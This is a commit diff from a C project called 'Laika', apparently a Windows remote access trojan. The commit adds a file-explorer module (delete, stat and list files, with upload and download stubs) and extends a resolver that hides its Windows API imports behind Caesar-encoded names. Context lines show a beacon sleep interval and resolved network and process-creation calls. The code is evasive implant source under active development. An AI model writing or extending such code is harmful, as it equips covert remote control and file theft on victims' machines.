début de fonctions pour le file explorer
This commit is contained in:
@@ -153,12 +153,14 @@
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="file_explorer.c" />
|
||||
<ClCompile Include="main.c" />
|
||||
<ClCompile Include="resolve_apis.c" />
|
||||
<ClCompile Include="utils.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="config.h" />
|
||||
<ClInclude Include="file_explorer.h" />
|
||||
<ClInclude Include="resolve_apis.h" />
|
||||
<ClInclude Include="utils.h" />
|
||||
</ItemGroup>
|
||||
|
||||
@@ -10,6 +10,9 @@
|
||||
<Filter Include="Config">
|
||||
<UniqueIdentifier>{21b436ca-1cf6-4e3b-b4af-31279e56caf5}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="File explorer">
|
||||
<UniqueIdentifier>{1c39cfa5-e620-4df2-bae9-e24a26485d37}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c">
|
||||
@@ -21,6 +24,9 @@
|
||||
<ClCompile Include="resolve_apis.c">
|
||||
<Filter>Libs</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file_explorer.c">
|
||||
<Filter>File explorer</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="utils.h">
|
||||
@@ -32,5 +38,8 @@
|
||||
<ClInclude Include="config.h">
|
||||
<Filter>Config</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="file_explorer.h">
|
||||
<Filter>File explorer</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
99
Laika/file_explorer.c
Normal file
99
Laika/file_explorer.c
Normal file
@@ -0,0 +1,99 @@
|
||||
#include "file_explorer.h"
|
||||
|
||||
int delete_file(char* path) {
|
||||
return Api.remove(path);
|
||||
}
|
||||
|
||||
int delete_dir(char* path) {
|
||||
return Api.rmdir(path);
|
||||
}
|
||||
|
||||
int get_object_info(char* path, struct stat* fileinfo) {
|
||||
return Api.stat(path, fileinfo);
|
||||
}
|
||||
|
||||
char** get_file_list(const char* dirPath, int* numFiles) {
|
||||
WIN32_FIND_DATA findData;
|
||||
HANDLE hFind;
|
||||
|
||||
WCHAR searchPath[MAX_PATH];
|
||||
Api.mbstowcs(searchPath, dirPath, MAX_PATH);
|
||||
|
||||
wcscat(searchPath, L"\\*.*");
|
||||
|
||||
hFind = FindFirstFile(searchPath, &findData);
|
||||
if (hFind == INVALID_HANDLE_VALUE) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Allocate a dynamic array to store the file names
|
||||
int maxFiles = 100;
|
||||
char** fileList = (char**)Api.malloc(maxFiles * sizeof(char*));
|
||||
int numFound = 0;
|
||||
|
||||
do {
|
||||
if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
|
||||
continue; // Ignore directories
|
||||
}
|
||||
|
||||
// Convert the file name to a char string
|
||||
WCHAR wFileName[MAX_PATH];
|
||||
wcscpy(wFileName, findData.cFileName);
|
||||
char fileName[MAX_PATH];
|
||||
Api.wcstombs(fileName, wFileName, MAX_PATH);
|
||||
|
||||
// Add the file name to the array
|
||||
if (numFound >= maxFiles) {
|
||||
maxFiles *= 2;
|
||||
fileList = (char**)Api.realloc(fileList, maxFiles * sizeof(char*));
|
||||
}
|
||||
fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1);
|
||||
Api.strcpy(fileList[numFound], fileName);
|
||||
numFound++;
|
||||
} while (FindNextFile(hFind, &findData) != 0);
|
||||
|
||||
Api.FindClose(hFind);
|
||||
|
||||
// Resize the array to the actual number of files found
|
||||
fileList = (char**)Api.realloc(fileList, numFound * sizeof(char*));
|
||||
|
||||
// Set the numFiles parameter to the number of files found
|
||||
*numFiles = numFound;
|
||||
|
||||
return fileList;
|
||||
|
||||
/*
|
||||
const char* dirPath = "C:\\Users\\UserName\\Documents\\ExampleDirectory"; // Replace with the path to the directory you want to list
|
||||
|
||||
int numFiles;
|
||||
char** fileList = listFiles(dirPath, &numFiles);
|
||||
|
||||
if (fileList == NULL) {
|
||||
printf("Error listing files\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Print the list of files
|
||||
for (int i = 0; i < numFiles; i++) {
|
||||
printf("%s\n", fileList[i]);
|
||||
free(fileList[i]);
|
||||
}
|
||||
|
||||
// Free the array and its contents
|
||||
free(fileList);
|
||||
|
||||
return 0;
|
||||
*/
|
||||
}
|
||||
|
||||
void download_file() {
|
||||
|
||||
}
|
||||
|
||||
void download_folder() {
|
||||
|
||||
}
|
||||
|
||||
void upload_file() {
|
||||
|
||||
}
|
||||
18
Laika/file_explorer.h
Normal file
18
Laika/file_explorer.h
Normal file
@@ -0,0 +1,18 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <direct.h>
|
||||
#include <sys/stat.h>
|
||||
#include "resolve_apis.h"
|
||||
|
||||
extern API Api;
|
||||
|
||||
int delete_file(char* path);
|
||||
int delete_dir(char* path);
|
||||
int get_object_info(char* path, struct stat* fileinfo);
|
||||
char** get_file_list(const char* dirPath, int* numFiles);
|
||||
void download_file();
|
||||
void download_folder();
|
||||
void upload_file();
|
||||
@@ -4,6 +4,7 @@
|
||||
#include "utils.h"
|
||||
#include "config.h"
|
||||
#include "resolve_apis.h"
|
||||
#include "file_explorer.h"
|
||||
|
||||
#define Sleep_TIME 30
|
||||
|
||||
|
||||
@@ -13,18 +13,6 @@ void InitApis() {
|
||||
}
|
||||
|
||||
Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx"));
|
||||
|
||||
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
|
||||
if (!hMsvcrt) {
|
||||
return;
|
||||
}
|
||||
Api.strcpy = (Tstrcpy)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywhu~"));
|
||||
Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth"));
|
||||
Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj"));
|
||||
Api.strncmp = (Tstrncmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywshru"));
|
||||
Api.mbstowcs = (Tmbstowcs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rgxyt|hx"));
|
||||
Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy"));
|
||||
|
||||
Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
|
||||
Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));
|
||||
Api.CloseHandle = (TCloseHandle)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HqtxjMfsiqj"));
|
||||
@@ -37,6 +25,24 @@ void InitApis() {
|
||||
Api.CreateProcessW = (TCreateProcessW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxx\\"));
|
||||
Api.TerminateProcess = (TTerminateProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjUwthjxx"));
|
||||
Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~"));
|
||||
Api.FindClose = (TFindClose)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KnsiHqtxj"));
|
||||
|
||||
hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq"));
|
||||
if (!hMsvcrt) {
|
||||
return;
|
||||
}
|
||||
Api.strcpy = (Tstrcpy)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywhu~"));
|
||||
Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth"));
|
||||
Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj"));
|
||||
Api.strncmp = (Tstrncmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywshru"));
|
||||
Api.mbstowcs = (Tmbstowcs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rgxyt|hx"));
|
||||
Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy"));
|
||||
Api.remove = (Tremove)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjrt{j"));
|
||||
Api.rmdir = (Tremove)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dwrinw"));
|
||||
Api.stat = (Tstat)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxyfy"));
|
||||
Api.sprintf = (Tsprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xuwnsyk"));
|
||||
Api.realloc = (Trealloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjfqqth"));
|
||||
Api.wcstombs = (Twcstombs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxytrgx"));
|
||||
|
||||
hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
|
||||
if (!hWininet) {
|
||||
|
||||
@@ -22,6 +22,12 @@ typedef void(WINAPI* Tfree)(void*);
|
||||
typedef int(WINAPI* Tstrncmp)(const char*, const char*, size_t);
|
||||
typedef size_t(WINAPI* Tmbstowcs)(wchar_t*, const char*, size_t);
|
||||
typedef char*(WINAPI* Tstrcpy)(char*, const char*);
|
||||
typedef int(WINAPI* Tremove)(const char*);
|
||||
typedef int(WINAPI* Trmdir)(const char*);
|
||||
typedef int(WINAPI* Tstat)(char const* const, struct stat* const);
|
||||
typedef int(WINAPI* Tsprintf)(char const*, char const* const, ...);
|
||||
typedef void*(WINAPI* Trealloc)(void*, size_t);
|
||||
typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t);
|
||||
|
||||
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||
typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||
@@ -36,6 +42,7 @@ typedef BOOL(WINAPI* TCreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LP
|
||||
typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT);
|
||||
typedef BOOL(WINAPI* TFreeLibrary)(HMODULE);
|
||||
typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR);
|
||||
typedef BOOL(WINAPI* TFindClose)(HANDLE);
|
||||
|
||||
typedef struct ApiList {
|
||||
Tconnect connect;
|
||||
@@ -66,9 +73,16 @@ typedef struct ApiList {
|
||||
TTerminateProcess TerminateProcess;
|
||||
TFreeLibrary FreeLibrary;
|
||||
TGetProcAddress GetProcAddress;
|
||||
TFindClose FindClose;
|
||||
|
||||
Tmbstowcs mbstowcs;
|
||||
Twcstombs wcstombs;
|
||||
Tstrcpy strcpy;
|
||||
Tremove remove;
|
||||
Trmdir rmdir;
|
||||
Tstat stat;
|
||||
Tsprintf sprintf;
|
||||
Trealloc realloc;
|
||||
} API;
|
||||
|
||||
void InitApis();
|
||||
|
||||
Reference in New Issue
Block a user